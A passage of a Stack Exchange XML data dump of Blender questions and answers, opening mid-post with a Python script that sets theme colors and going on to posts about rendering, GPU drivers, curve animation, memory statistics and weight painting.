'wcol_radio', &#xA;        'wcol_regular', &#xA;        'wcol_toggle', ])&#xA;&#xA;    for i, q in allUnframed:&#xA;        allUnframed[i].outline = (0.200, 0.200, 0.200)&#xA;        allUnframed[i].apply(gui, q)&#xA;&#xA;    # Brightens some text fonts&#xA;    # (&quot;allBindings&quot; created dark &quot;text&quot; on dark &quot;buttons&quot;)&#xA;    # &#xA;    allAdjusted = Spray([&#xA;        'wcol_regular', &#xA;        'wcol_toggle', ])&#xA;&#xA;    for i, q in allAdjusted:&#xA;        allAdjusted[i].text = (0.900, 0.900, 0.900)&#xA;        allAdjusted[i].text_sel = solid.black&#xA;        allAdjusted[i].show_shaded = True  #its OFF by default...&#xA;        allAdjusted[i].shadedown = -15&#xA;        allAdjusted[i].shadetop = 15&#xA;        allAdjusted[i].apply(gui, q)&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;    return True&#xA;&#xA;def getPresets():&#xA;    global Presetfactory&#xA;    swatch = Presetfactory()&#xA;    solid = Presetfactory()&#xA;    snuff = Presetfactory()&#xA;&#xA;    # skyblue: The color of &quot;Inner Selected&quot; of &quot;Radio Widgets&quot;&#xA;    # charcoal: The ubiquitos charcoal for toggles and switches&#xA;    # &#xA;    @swatch&#xA;    def skyblue(): &#xA;        return (0.337, 0.502, 0.761, 1.0)&#xA;    @swatch&#xA;    def charcoal(): &#xA;        return (0.275, 0.275, 0.275, 1.0)&#xA;&#xA;    # A batch of opaque (or solid) colors.&#xA;    # &#xA;    @solid&#xA;    def black(): &#xA;        return (0.000, 0.000, 0.000)&#xA;    @solid&#xA;    def white():&#xA;        return (1.000, 1.000, 1.000)&#xA;&#xA;    # A batch of tryout colors&#xA;    # &#xA;    @snuff&#xA;    def white():&#xA;        return (1.000, 1.000, 1.000, 1.0)&#xA;    @snuff&#xA;    def red():&#xA;        return (0.900, 0.010, 0.010, 1.0)&#xA;    @snuff&#xA;    def yellow():&#xA;        return (1.000, 1.000, 0.000, 1.0)&#xA;&#xA;    return swatch, solid, snuff&#xA;&#xA;# (All &quot;buckets&quot; and &quot;sprays&quot; are interfaces...&#xA;#  ...only &quot;fill()&quot; gets to see &quot;gui&quot;)&#xA;#&#xA;class Bucket():&#xA;    def __init__(self):&#xA;        self.scriptwork = {&#xA;            'text': None, &#xA;            'text_sel': None, &#xA;            'inner': None, &#xA;            'inner_sel': None, &#xA;            'item': None, &#xA;            'outline': None, &#xA;            'shadedown': None, &#xA;            'shadetop': None, &#xA;            'show_shaded': None, }&#xA;&#xA;    def apply(self, gui, firstname):&#xA;        # &#xA;        # Pythons &quot;setattr()&quot; accesses blenders:&#xA;        # &amp;gt;&amp;gt; gui.&amp;lt;button&amp;gt;.&amp;lt;setting&amp;gt; = &amp;lt;color&amp;gt;&#xA;&#xA;        knockout = self.scriptwork&#xA;        for q in knockout.keys():&#xA;            if knockout[q] != None:&#xA;                setattr(&#xA;                    getattr(gui, firstname), q, knockout[q] )&#xA;&#xA;        # Prevents multiple reruns&#xA;        # (the pending changes were already applied)&#xA;        # &#xA;        for q in knockout.keys():&#xA;            knockout[q] = None&#xA;&#xA;    def __getattr__(self, label):&#xA;        return self.scriptwork[label]&#xA;&#xA;    def __setattr__(self, label, contents):&#xA;        if label != 'scriptwork':&#xA;            if label not in self.__dict__['scriptwork'].keys():&#xA;                print(&quot;Attention, unkown gui property:&quot;, label)&#xA;                print(&quot;Available are:&quot;, self.__dict__['scriptwork'].keys())&#xA;        if label == 'scriptwork':&#xA;            self.__dict__['scriptwork'] = contents&#xA;            return None&#xA;        self.__dict__['scriptwork'][label] = contents&#xA;        return None&#xA;    pass&#xA;&#xA;class Spray():&#xA;    def __init__(self, dispatch):&#xA;        global Bucket&#xA;        self.scriptwork = {&#xA;            'bucketnames': dispatch, &#xA;            'buckets': [Bucket() for q in dispatch ], }&#xA;&#xA;    def __iter__(self):&#xA;        for f in range(len(self.scriptwork['bucketnames'])):&#xA;            i = 0 + f&#xA;            q = '' + self.scriptwork['bucketnames'][f]&#xA;            yield i, q&#xA;&#xA;    def __getitem__(self, frame):&#xA;        return self.scriptwork['buckets'][frame]&#xA;    pass&#xA;&#xA;# (Steals and stores the decorator user)&#xA;# &#xA;class Presetfactory():&#xA;    def __init__(self):&#xA;        self.scriptwork = {}&#xA;&#xA;    def __call__(self, target):&#xA;        firstname = '' + target.__name__&#xA;        self.scriptwork[firstname] = target&#xA;        return &quot;Succeffully collected the preset.&quot;&#xA;&#xA;    def __getattr__(self, label):&#xA;        return self.scriptwork[label]()&#xA;    pass&#xA;&#xA;# (This script accesses blenders's &quot;user_interface&quot;)&#xA;# &#xA;import bpy&#xA;gui = bpy.context.user_preferences.themes[0].user_interface&#xA;scriptrunner()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1393" LastEditorUserId="1393" LastEditDate="2013-11-10T23:11:42.760" LastActivityDate="2013-11-10T23:11:42.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3175" PostTypeId="2" ParentId="3173" CreationDate="2013-10-04T18:15:44.193" Score="10" Body="&lt;p&gt;You can create a particle system with the following settings.I also made a short &lt;a href=&quot;http://www.youtube.com/watch?v=8zu6dyQkr2Q&amp;amp;featura=youtu.be&quot; rel=&quot;noreferrer&quot;&gt;video&lt;/a&gt; demonstrating the effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2IFwK.jpg&quot; alt=&quot;Billboards always face you&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastActivityDate="2013-10-04T18:15:44.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3176" PostTypeId="1" AcceptedAnswerId="3181" CreationDate="2013-10-04T19:35:54.020" Score="0" ViewCount="1117" Body="&lt;p&gt;I am using blender 2.66.1 and I have a gtx 580 installed. I am using Zorin OS 7, which is based on Ubuntu 13.04. I am in the blender preferences and for 'Compute Device' I only have the CPU. Whats wrong here?&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastActivityDate="2013-10-05T00:24:45.227" Title="Blender not recognizing GPU" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2013-10-05T00:27:28.107" ContentLicense="CC BY-SA 3.0" />
  <row Id="3177" PostTypeId="2" ParentId="3171" CreationDate="2013-10-04T19:41:48.800" Score="2" Body="&lt;p&gt;You can use a &lt;em&gt;Curve Deform&lt;/em&gt; Modifier on a mesh and animate the axis that follows the curve. By animating it from 0.0 to x, the mesh grows along the curve. Scaling to 0.0 is a bit tricky because you get a flat object. Either set all scale to 0.0 for the first frame or animate the visibility in the outliner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/odyfZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-10-04T19:48:30.207" LastActivityDate="2013-10-04T19:48:30.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3178" PostTypeId="2" ParentId="3171" CreationDate="2013-10-04T20:00:18.933" Score="7" Body="&lt;p&gt;You can use Curves and animate the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves#Geometry&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Start bevel&lt;/em&gt; and &lt;em&gt;End Bevel&lt;/em&gt; factors&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;These options determine where to start the Bevel operation on the&#xA;  Curve being beveled. Increasing the Start Bevel Factor to 0.5 will&#xA;  start beveling the Curve 50% of the distance from the start of the&#xA;  Curve (in effect shortening the Curve). Decreasing the End Bevel&#xA;  Factor by 0.25 will start beveling the Curve 25% of the distance from&#xA;  the end of the Curve (again, shortening the Curve).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These settings are in &lt;em&gt;Properties &gt; Object Data &gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves#Geometry&quot; rel=&quot;noreferrer&quot;&gt;Geometry&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v6uwz.png&quot; alt=&quot;Geometry options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QXT0Y.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-05T00:31:29.377" LastActivityDate="2013-10-05T00:31:29.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3179" PostTypeId="2" ParentId="3155" CreationDate="2013-10-04T20:24:41.693" Score="3" Body="&lt;p&gt;Short Answer: &lt;em&gt;You cannot&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, &lt;code&gt;bpy.ops.wm.console_toggle()&lt;/code&gt; is available only on Windows. And I admit, it is a work around. Other OSs run without a console. If you want a console, you must start blender from a terminal on Linux and Mac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The I/O steam redirect &lt;code&gt;blender.exe &amp;gt; out.txt&lt;/code&gt; should work. (but I haven't test it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you realy want to communicate with user, you should use a dialog box:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Interface&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Interface&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;error message or save it in a log file. Those methods should work on any system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On C code side, the function returns the current status, and you can query the status. &lt;/p&gt;&#xA;" OwnerUserId="1402" LastEditorUserId="12" LastEditDate="2013-10-04T21:34:00.580" LastActivityDate="2013-10-04T21:34:00.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3180" PostTypeId="2" ParentId="3163" CreationDate="2013-10-04T23:22:28.517" Score="1" Body="&lt;p&gt;I don't think that blender will suit you well in this case. It is not set up for this kind of data. It will just eat all of your ram and then crash.&#xA;I think using another application like &lt;a href=&quot;http://meshlab.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;mesh lab&lt;/a&gt; would be better. It is made for point-clouds. It is free and even better, open-source. I know its not blender but it should solve your problem.&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="66773" LastEditDate="2021-01-15T20:17:55.443" LastActivityDate="2021-01-15T20:17:55.443" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="3181" PostTypeId="2" ParentId="3176" CreationDate="2013-10-05T00:24:45.227" Score="0" Body="&lt;p&gt;Okay. It seems the problem was not blender related. JUst run these lines of code and restart and update to the newest driver and you should be good.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-add-repository ppa:xorg-edgers/ppa&#xA;&#xA;sudo apt-get update&#xA;&#xA;sudo apt-get install nvidia-current nvidia-settings&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user320" LastActivityDate="2013-10-05T00:24:45.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3182" PostTypeId="2" ParentId="3172" CreationDate="2013-10-05T04:13:07.003" Score="5" Body="&lt;p&gt;Groups are intentionally &lt;strong&gt;not&lt;/strong&gt; garbage collected, (so they have to be removed manually). Only a few kinds of data-blocks behave this way, Scene's are another example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a user, you can select them in the outliner and unlink them, but there is no way to remove single user groups other then to script this as you have done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For details see the &lt;a href=&quot;https://www.blender.org/manual/data_system/data_blocks.html#users-garbage-collection&quot; rel=&quot;nofollow&quot;&gt;reference manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-01-27T02:05:36.417" LastActivityDate="2016-01-27T02:05:36.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3183" PostTypeId="1" CreationDate="2013-10-05T07:17:38.097" Score="3" ViewCount="2450" Body="&lt;p&gt;I've got a model I've been working on for a few weeks here.  The file itself is 2.1Mb and there are no textures used.  Although the full model is 3 million polygons, it's all subdivision and mirroring and arrays and most of it is hidden most of the time.  I suspect Blender is doing some intelligent lazy generation given there's a slight delay when I unhide objects for the first time in a session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm seeing memory usages in this scene at a bare minimum of 850Mb.  When I do a render, that shoots up to 1500-1700mb and stays there (doesn't increase on subsequent renders) until I restart Blender.  It's causing some minor performance issues when I've got other stuff running and in some cases I have to restart Blender after doing a render just to reclaim the RAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect I may have a fault in my objects somewhere, and on using the space search, found memory statistics.  Looking it up, it apparently ends up in the console.  I could find this on previous versions of Blender by searching for &quot;console&quot; on Windows or by running from a command line.  However, on Mac OS X, &quot;console&quot; returns no results and running from a command line shows nothing in the terminal window besides me starting the .app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1403" LastEditorUserId="55" LastEditDate="2013-10-05T11:05:35.690" LastActivityDate="2016-11-09T10:10:18.503" Title="Troubleshooting Blender's Memory Use (Memory Statistics)" Tags="&lt;mesh&gt;&lt;memory-management&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3184" PostTypeId="2" ParentId="3171" CreationDate="2013-10-05T10:23:02.113" Score="2" Body="&lt;p&gt;Another way is to use the build modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fW4fn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing to note with the build modifier is it builds using existing geometry, that is displaying it one face at a time, so you most likely will want to increase your mesh resolution (or use subsurf modifier) to get a smooth animation. The main difference of the build modifier is the randomize option which allows you to have a line materialise over the entire length instead of drawing from start to end. If you are using curves that means turning up the resolution in the curve properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XJnVF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-10-05T10:23:02.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3185" PostTypeId="2" ParentId="3183" CreationDate="2013-10-05T10:25:53.163" Score="8" Body="&lt;p&gt;To fully investigate the problem you may need debugging tools (debug builds etc), but as a user, here are some things you can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing to check on is Blenders memory statistics in the top header and compare this to what the operating system reports Blender is using, to see if the memory is being tracked by Blender or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Blender's header doesn't show a large difference in memory then its possible there is a memory leak, or more likely - one of the 3rd party libraries Blender uses is holding onto memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Blender also reports a jump in memory then you can use an operator which reports details about memory use.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Reporting Memory Use&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Start Blender in a terminal: See &lt;a href=&quot;https://www.blender.org/manual/advanced/command_line/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual for instructions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before rendering run the operator &quot;Memory Statistics&quot; from the space-bar search menu. Copy and paste this text into a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render the scene and re-run &quot;Memory Statistics&quot; copying the output into a different file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The text will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;total memory len: 9.319 MB&#xA;peak memory len: 18.868 MB&#xA;slop memory len: 5.043 MB&#xA; ITEMS TOTAL-MiB AVERAGE-KiB TYPE&#xA;  1993 (   3.051     1.568) BLI_Mempool Chunk&#xA;   210 (   0.972     4.740) Data from ME&#xA;  2544 (   0.612     0.246) PropertyRNA&#xA;    20 (   0.584    29.922) Chunk buffer&#xA;  2296 (   0.438     0.195) StructRNA&#xA;  3025 (   0.369     0.125) IDProperty array dup&#xA;  2209 (   0.322     0.149) dupli_alloc&#xA;  1723 (   0.302     0.180) keymap entry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;--- snip ---&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can compare the results, it may help to use a visual diff tool. &lt;em&gt;search online - many free applications exist.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be a perfectly logical reason that Blender is using more memory but if not, then best report a bug on the &lt;a href=&quot;https://projects.blender.org/tracker/?func=browse&amp;amp;group_id=9&amp;amp;atid=498&quot; rel=&quot;nofollow noreferrer&quot;&gt;tracker&lt;/a&gt; so a developer can investigate,&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-11-09T10:10:18.503" LastActivityDate="2016-11-09T10:10:18.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3186" PostTypeId="1" AcceptedAnswerId="3187" CreationDate="2013-10-05T11:18:07.900" Score="6" ViewCount="628" Body="&lt;p&gt;I have a scene I would like to do a fly-through on. There are quite a few polygons. This means that blender spends quite a lot of time loading the scene before it stars to render it. It should not reload the scene because nothing has changed (except the camera). Is there a way to tell blender to only load the scene once and then just re-use what is in the RAM? I am using cycles.&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastActivityDate="2013-10-05T12:37:51.543" Title="Render Animation on still scene, No BVH reloading" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3187" PostTypeId="2" ParentId="3186" CreationDate="2013-10-05T12:37:51.543" Score="6" Body="&lt;p&gt;In the performance panel of the render tab, check &lt;em&gt;Cache BVH&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dybmo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make Blender use the last BVH built when you press F12.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want faster render times for the viewport, change &lt;em&gt;Dynamic BVH&lt;/em&gt; to &lt;em&gt;Static BVH&lt;/em&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gojRF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-10-05T12:37:51.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3188" PostTypeId="1" CreationDate="2013-10-05T12:55:10.580" Score="4" ViewCount="530" Body="&lt;p&gt;I have recently started learning 3D modelling in Blender and I am making model of a Rubik's Cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have done:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Added Bevel and Subdivision Surface to the default cube for smoothing its edges.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicated one face of cube so that I can color it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But when I duplicate the face it gives me a circle on top of that side instead of exactly duplicating the face. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I am getting: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UIIGM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I am duplicating the face because I want to keep the grey boundary while apply the material in central area. I solved the problem mentioned above by adding 4 loop cuts to the face. But when I apply color on faces they all appear kinda jittery when I rotate the cube. Can anyone tell me why is that so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vNAWX.png&quot; alt=&quot;Colors not appearing flat&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1407" OwnerDisplayName="Tehreem Fatima" LastEditorUserId="1407" LastEditDate="2013-10-06T16:33:41.673" LastActivityDate="2013-10-06T16:44:37.960" Title="Duplicating surface of cube adds a circle to it" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3189" PostTypeId="2" ParentId="3188" CreationDate="2013-10-05T15:38:19.880" Score="7" Body="&lt;p&gt;This is because when you duplicate the face, it is now a flat plane and the subdivision surface modifier is treating it as a separate mesh and rounding it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/es7VF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get around this, you can disable or hide the modifier while working by clicking the eye icon &lt;img src=&quot;https://i.stack.imgur.com/bCsSk.png&quot; alt=&quot;enter image description here&quot;&gt; on the &lt;em&gt;Subsurf&lt;/em&gt; modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I also understand what you are trying to do, it's also worth noting that you don't need to duplicate the face to apply a material to it or to modify it specifically. Objects can have multiple materials in Blender. You can go to the material tab, select a specific face, add a new material and apply it specifically to that face by clicking &lt;em&gt;Assign&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-10-05T15:50:04.560" LastActivityDate="2013-10-05T15:50:04.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3190" PostTypeId="2" ParentId="3188" CreationDate="2013-10-05T23:23:42.970" Score="2" Body="&lt;p&gt;If all you want to do is to color the face  you can do that directly in the mesh without having to create a new one. &#xA;Here is how:&#xA;In edit mode select the polygon you want to give a different color. Go tot the material properties. &lt;img src=&quot;https://i.stack.imgur.com/aoLU9.png&quot; alt=&quot;Material Properties Editor&quot;&gt;. Then add a new material(1). Note if you did not create one for the base already do that first. With the polygon selected click 'Assign'(2). That is it. From here you can change the color (4) and give it a proper name(3).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cStaT.jpg&quot; alt=&quot;Create a new maetial&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If You just want to fix the geometry you can also first duplicate the mesh and place it right with the original and then you can select the face you want to keep and go out of edit mode and apply you modifiers. Then back into edit mode 'select inverse' (Ctrl+i) and  delete(x) the vertices.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate the mesh in place&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hufaN.png&quot; alt=&quot;Duplicate the mesh in place&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate mesh appears in outliner&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KWt7l.jpg&quot; alt=&quot;Duplicate mesh appears in outliner&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the face you want to keep&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uBjBz.png&quot; alt=&quot;Select the face you want to keep&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apply modifiers in object mode&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s0qjr.jpg&quot; alt=&quot;Apply modifiers in object mode&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;back in edit mode you will see your selected face. Hit Ctrl+i (select inverse)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iedtn.png&quot; alt=&quot;back in edit mode you will see your selected face. Hit Ctrl+i (select inverse)&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the faces&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SiaiF.png&quot; alt=&quot;Delete the faces&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final result&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/K4EU8.png&quot; alt=&quot;Final result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The jittering is because of the overlapping faces.basically blender has two things in the same place and blender does not know which one to show. (just like in real life two things can't be in the same spot)&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorDisplayName="user320" LastEditDate="2013-10-06T16:44:37.960" LastActivityDate="2013-10-06T16:44:37.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3191" PostTypeId="1" AcceptedAnswerId="3198" CreationDate="2013-10-06T07:40:30.270" Score="4" ViewCount="6515" Body="&lt;p&gt;I'm very new to the topic of weight painting, and have just parented several meshes to a rig. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all works well, except for one issue at the shoes (the bone of one leg not only drags that leg, but also the other one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I selected the bone, and then the object that I was having trouble with (opposite shoe), and, sure enough, there was some weight painting on the shoe. I changed the brush to subtract, and dragged all of the levels (weight, radius and strength) up to their maximum. I then tried to remove the weight paint, but it was not subtracted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely, adding my own weight paint and then trying to remove it works; it is only the auto-generated weight paint that will not go away.&lt;img src=&quot;https://i.stack.imgur.com/ATSRX.png&quot; alt=&quot;Here&amp;#39;s my file&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my file:&#xA;&lt;a href=&quot;http://www.mediafire.com/?s30kckfkhqx8ga4&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mediafire.com/?s30kckfkhqx8ga4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1405" LastActivityDate="2013-10-06T13:53:43.840" Title="Removing automaticly generated (automatic weights) weight paint" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3195" PostTypeId="2" ParentId="3188" CreationDate="2013-10-06T12:45:48.353" Score="1" Body="&lt;p&gt;There's a good link here that explains the Catmull-Clark subdivision algorithm that's being used when you add a subsurf modifier:&#xA;&lt;a href=&quot;http://www.idav.ucdavis.edu/education/CAGDNotes/Catmull-Clark/Catmull-Clark.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.idav.ucdavis.edu/education/CAGDNotes/Catmull-Clark/Catmull-Clark.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2G8xk.jpg&quot; alt=&quot;there&amp;#39;s also this picture, which is a bit less dry.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="253" LastActivityDate="2013-10-06T12:45:48.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3197" PostTypeId="2" ParentId="3191" CreationDate="2013-10-06T13:06:10.380" Score="1" Body="&lt;p&gt;Well, the first thing you might want to do is to give your bones descriptive names. Then it's much easier to know which vertex groups are relevant for a given mesh. Since the bone names and vertex groups in your case are connected, you just need to rename one or the other and both will have the new name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZqOio.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The safest way to keep the left foot bone from affecting the right foot mesh is to remove the entire vertex group from that mesh. It'll never need it anyway. This is possible since your character's feet are separate objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you use just one mesh and removing the vertex group is not an option, instead of setting the weight to 0, remove the verts of the left shoe from the shoe.R group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would suggest:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name your Bones, so the connection between vertex groups and bones becomes more transparent. Keep them symmetrical with .R and .L suffixes. One way to do it is in the outliner by selecting a bone and Ctrl-LMB on the name. Or use the text button in the Bones section of the armature data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select your right shoe object, select the shoe.L or foot.L vertex group and click the little &lt;kbd&gt;-&lt;/kbd&gt; sign to throw out all the unnecessary vertex groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yxCqM.png&quot; alt=&quot;vertex groups&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-10-06T13:53:43.840" LastActivityDate="2013-10-06T13:53:43.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
